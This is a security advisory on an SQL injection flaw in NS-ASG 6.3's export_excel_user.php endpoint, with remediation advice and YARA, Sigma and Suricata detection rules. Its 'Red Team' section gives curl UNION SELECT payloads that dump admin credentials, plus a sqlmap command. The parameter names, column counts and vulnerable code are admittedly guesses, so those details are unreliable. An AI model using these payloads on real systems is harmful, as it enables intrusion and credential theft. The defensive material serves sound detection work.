CVE-2024-30860

Executive Summary

CVE-2024-30860 identifies a critical SQL Injection vulnerability in the netentsec NS-ASG application, specifically version 6.3. The flaw resides in the /admin/export_excel_user.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, modification, or complete database compromise. The vulnerability is publicly known, but no official patch or vendor advisory has been released, placing all instances of NS-ASG 6.3 at high risk.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned by NVD)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)
• Threat Level: Critical – due to unauthenticated remote exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability exists in the export_excel_user.php script, which is part of the NS-ASG administrative interface. The script likely takes user-supplied input (e.g., via GET or POST parameters) to filter or select data for export. Due to insufficient sanitization or parameterization, an attacker can inject SQL metacharacters (e.g., single quotes, OR, UNION) into the query.

Example vulnerable parameter: id, user, or export_type.

Attack flow:

1. Attacker sends a crafted HTTP request to /admin/export_excel_user.php?parameter=value' OR '1'='1.
2. The backend constructs a SQL query like: SELECT * FROM users WHERE id = 'value' OR '1'='1'.
3. The injected condition '1'='1' always evaluates to true, returning all rows.
4. The attacker can then use UNION SELECT to extract data from other tables (e.g., admin credentials, configuration).

Vulnerable vs. Patched Code

Vulnerable Code (NS-ASG 6.3):

// /admin/export_excel_user.php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// /admin/export_excel_user.php
$id = intval($_GET['id']); // or use prepared statements
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: http://target-ip/admin/export_excel_user.php
• Tool: sqlmap or manual curl.

Manual Exploit:

# Extract database names
curl "http://target-ip/admin/export_excel_user.php?id=1' UNION SELECT 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata-- -"

# Extract table names from 'nsasg' database
curl "http://target-ip/admin/export_excel_user.php?id=1' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema='nsasg'-- -"

# Dump admin credentials
curl "http://target-ip/admin/export_excel_user.php?id=1' UNION SELECT 1,group_concat(username,':',password),3,4,5 FROM nsasg.admin_users-- -"

Automated with sqlmap:

sqlmap -u "http://target-ip/admin/export_excel_user.php?id=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /admin/export_excel_user.php containing SQL keywords (UNION, SELECT, OR, --).
• Alert on abnormal response sizes (e.g., large data dumps).

Mitigation:

• Block external access to /admin/ paths.
• Deploy WAF rules to filter SQL injection patterns.
• Apply input validation and parameterized queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/export_excel_user.php with parameters containing ', OR, UNION, --.
  • Outbound database connections from the web server to unusual IPs.
• File IOCs:
  • Suspicious log entries in /var/log/apache2/access.log or /var/log/nginx/access.log with SQL injection patterns.
• System IOCs:
  • Unexpected database dumps or large data exports.
  • New user accounts or modified admin credentials.

Detection Engineering

YARA Rule

rule CVE_2024_30860_SQLi_NSASG {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30860 in NS-ASG 6.3"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30860"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "admin/export_excel_user.php" nocase
        $sqli4 = "information_schema" nocase
    condition:
        any of ($sqli*) and #sqli3 > 0
}

Sigma Rule

title: CVE-2024-30860 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against NS-ASG export_excel_user.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem: "/admin/export_excel_user.php"
        cs-uri-query|contains:
            - "'"
            - "OR"
            - "UNION"
            - "SELECT"
            - "--"
    condition: selection
falsepositives:
    - Legitimate admin use with special characters (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2024-30860 SQL Injection Attempt";
    flow:to_server,established;
    content:"/admin/export_excel_user.php"; http_uri;
    pcre:"/(\bOR\b|\bUNION\b|\bSELECT\b|'|--)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or restrict access to /admin/export_excel_user.php via firewall or web server configuration.
   • Implement a Web Application Firewall (WAF) with SQL injection rules.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Apply parameterized queries or prepared statements in the vulnerable script.
   • Upgrade to a patched version if/when released by Netentsec.
   • Conduct a full security audit of the NS-ASG application.

3. Compromise Assessment:

   • Check database logs for unauthorized queries.
   • Review user accounts and privileges.
   • Rotate all credentials stored in the database.

Report generated by Valters IT DevSecOps & CTI Division